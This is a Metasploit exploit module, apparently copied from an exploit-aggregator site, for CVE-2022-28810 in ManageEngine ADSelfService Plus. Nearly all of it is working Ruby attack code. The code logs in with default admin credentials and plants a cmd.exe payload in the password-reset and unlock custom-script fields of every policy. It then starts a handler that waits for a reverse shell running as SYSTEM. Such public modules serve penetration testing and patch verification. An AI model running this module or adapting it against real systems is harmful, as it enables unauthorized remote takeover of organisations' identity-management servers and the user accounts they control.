Share
## https://sploitus.com/exploit?id=PACKETSTORM:166816
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution',  
'Description' => %q{  
This module exploits the "custom script" feature of ADSelfService Plus. The  
feature was removed in build 6122 as part of the patch for CVE-2022-28810.  
For purposes of this module, a "custom script" is arbitrary operating system  
command execution.  
  
This module uses an attacker provided "admin" account to insert the malicious  
payload into the custom script fields. When a user resets their password or  
unlocks their account, the payload in the custom script will be executed.  
The payload will be executed as SYSTEM if ADSelfService Plus is installed as  
a service, which we believe is the normal operational behavior.  
  
This is a passive module because user interaction is required to trigger the  
payload. This module also does not automatically remove the malicious code from  
the remote target. Use the "TARGET_RESET" operation to remove the malicious  
custom script when you are done.  
  
ADSelfService Plus uses default credentials of "admin":"admin"  
},  
'Author' => [  
# Discovered and exploited by unknown threat actors  
'Jake Baines', # Analysis, CVE credit, and Metasploit module  
'Hernan Diaz', # Analysis and CVE credit  
'Andrew Iwamaye', # Analysis and CVE credit  
'Dan Kelley' # Analysis and CVE credit  
],  
'References' => [  
['CVE', '2022-28810'],  
['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'],  
['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/']  
],  
'DisclosureDate' => '2022-04-09',  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Privileged' => true, # false if ADSelfService Plus is not run as a service  
'Stance' => Msf::Exploit::Stance::Passive,  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp'  
}  
}  
],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8888,  
'DisablePayloadHandler' => true,  
'JJS_PATH' => '..\\jre\\bin\\jjs.exe'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/']),  
OptString.new('USERNAME', [true, 'The administrator username', 'admin']),  
OptString.new('PASSWORD', [true, 'The administrator user\'s password', 'admin']),  
OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script field', false])  
])  
end  
  
##  
# Because this is an authenticated vulnerability, we will rely on a version string  
# for the check function. We can extract the version (or build) from selfservice/index.html.  
##  
def check  
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html'))  
unless res  
return CheckCode::Unknown('The target failed to respond to check.')  
end  
  
unless res.code == 200  
return CheckCode::Safe('Failed to retrieve /selfservice/index.html')  
end  
  
ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]  
if ver.nil?  
return CheckCode::Safe('Could not extract a version number')  
end  
  
if Rex::Version.new(ver) < Rex::Version.new('6122')  
return CheckCode::Appears("This determination is based on the version string: #{ver}.")  
end  
  
CheckCode::Safe("This determination is based on the version string: #{ver}.")  
end  
  
##  
# Authenticate with the remote target. Login requires four steps:  
#  
# 1. Grab a CSRF token  
# 2. Post credentials to /ServletAPI/accounts/login  
# 3. Post credentials to /j_security_check  
# 4. Grab another CSRF token for authenticated requests  
#  
# @return a new CSRF token to use with authenticated requests  
##  
def authenticate  
# grab a CSRF token from the index  
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })  
fail_with(Failure::Unreachable, 'The target did not respond') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?  
csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]  
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok  
  
# send the first login request to get the ssp token  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),  
'keep_cookies' => true,  
'vars_post' =>  
{  
'loginName' => datastore['USERNAME'],  
'domainName' => 'ADSelfService Plus Authentication',  
'j_username' => datastore['USERNAME'],  
'j_password' => datastore['PASSWORD'],  
'AUTHRULE_NAME' => 'ADAuthenticator',  
'adscsrf' => csrf_tok  
}  
})  
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200  
  
# send the second login request to get the sso token  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/j_security_check'),  
'keep_cookies' => true,  
'vars_post' =>  
{  
'loginName' => datastore['USERNAME'],  
'domainName' => 'ADSelfService Plus Authentication',  
'j_username' => datastore['USERNAME'],  
'j_password' => datastore['PASSWORD'],  
'AUTHRULE_NAME' => 'ADAuthenticator',  
'adscsrf' => csrf_tok  
}  
})  
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302  
  
# revisit authorization.do to complete authentication  
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })  
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200  
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?  
csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]  
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok  
  
print_good('Authentication successful')  
csrf_tok  
end  
  
##  
# Triggering the payload requires user interaction. Using the default payload  
# handler will cause this module to exit after planting the payload, so the  
# module will spawn it's own handler so that it doesn't exit until a shell  
# has been received/handled. Note that this module is passive so it should  
# just be chilling quietly in the background.  
#  
# This code is largely copy/paste from windows/local/persistence.rb  
##  
def create_multihandler(lhost, lport, payload_name)  
pay = framework.payloads.create(payload_name)  
pay.datastore['LHOST'] = lhost  
pay.datastore['LPORT'] = lport  
print_status('Starting exploit/multi/handler')  
  
# Set options for module  
mh = framework.exploits.create('multi/handler')  
mh.share_datastore(pay.datastore)  
mh.datastore['PAYLOAD'] = payload_name  
mh.datastore['EXITFUNC'] = 'thread'  
mh.datastore['ExitOnSession'] = true  
# Validate module options  
mh.options.validate(mh.datastore)  
# Execute showing output  
mh.exploit_simple(  
'Payload' => mh.datastore['PAYLOAD'],  
'LocalInput' => user_input,  
'LocalOutput' => user_output,  
'RunAsJob' => true  
)  
  
# Check to make sure that the handler is actually valid  
# If another process has the port open, then the handler will fail  
# but it takes a few seconds to do so. The module needs to give  
# the handler time to fail or the resulting connections from the  
# target could end up on on a different handler with the wrong payload  
# or dropped entirely.  
Rex.sleep(5)  
return nil if framework.jobs[mh.job_id.to_s].nil?  
  
return mh.job_id.to_s  
end  
  
# The json policy blob that ADSSP provides us is not accepted by ADSSP  
# if we try to POST it back. Specifically, ADSP is very unhappy about all  
# the booleans using "true" or "false" instead of "1" or "0" *except* for  
# HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but  
# here we are.  
def fix_adssp_json(json_hash)  
json_hash.map do |key, value|  
if value.is_a? Hash  
[key, fix_adssp_json(value)]  
elsif value.is_a? Array  
value = value.map do |array_val|  
if array_val.is_a? Hash  
array_val = fix_adssp_json(array_val)  
end  
array_val  
end  
[key, value]  
elsif key == 'HIDE_CAPTCHA_RPUA'  
[key, value]  
elsif value.is_a? TrueClass  
[key, 1]  
elsif value.is_a? FalseClass  
[key, 0]  
else  
[key, value]  
end  
end.to_h  
end  
  
def exploit  
csrf_tok = authenticate  
  
# Grab the list of configured policies  
policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')  
print_status("Requesting policy list from #{policy_list_uri}")  
res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })  
fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200  
policy_json = res.get_json_document  
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?  
policy_details_json = policy_json['POLICY_DETAILS']  
fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?  
  
# There can be multiple policies. This logic will loop over each one, grab the configuration  
# details, update the configuration to include our payload, and then POST it back.  
policy_details_json.each do |policy_entry|  
policy_id = policy_entry['POLICY_ID']  
policy_name = policy_entry['POLICY_NAME']  
fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil?  
  
print_status("Requesting policy details for #{policy_name}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),  
'vars_get' =>  
{  
'POLICY_ID' => policy_id  
}  
})  
fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200  
  
# load the JSON and insert (or remove) our payload  
specific_policy_json = res.get_json_document  
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?  
fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?  
new_payload = "cmd.exe /c #{payload.encoded}"  
  
if datastore['TARGET_RESET']  
print_status('Disabling custom script functionality')  
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'  
specific_policy_json['SCRIPT_COMMAND_RESET'] = ''  
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0'  
specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = ''  
else  
print_status('Enabling custom scripts and inserting the payload')  
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1'  
specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload  
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1'  
specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload  
end  
  
# fix up the ADSSP provided json so ADSSP will accept it o.O  
updated_policy = fix_adssp_json(specific_policy_json).to_json  
  
policy_update_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/setAPCDetails')  
print_status("Posting updated policy configuration to #{policy_update_uri}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => policy_update_uri,  
'vars_post' =>  
{  
'APC_SETTINGS_DETAILS' => updated_policy,  
'POLICY_NAME' => policy_name,  
'adscsrf' => csrf_tok  
}  
})  
fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200  
  
# spawn our own payload handler?  
if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']  
listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])  
if listener_job_id.blank?  
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")  
end  
else  
print_good('Done!')  
end  
end  
end  
end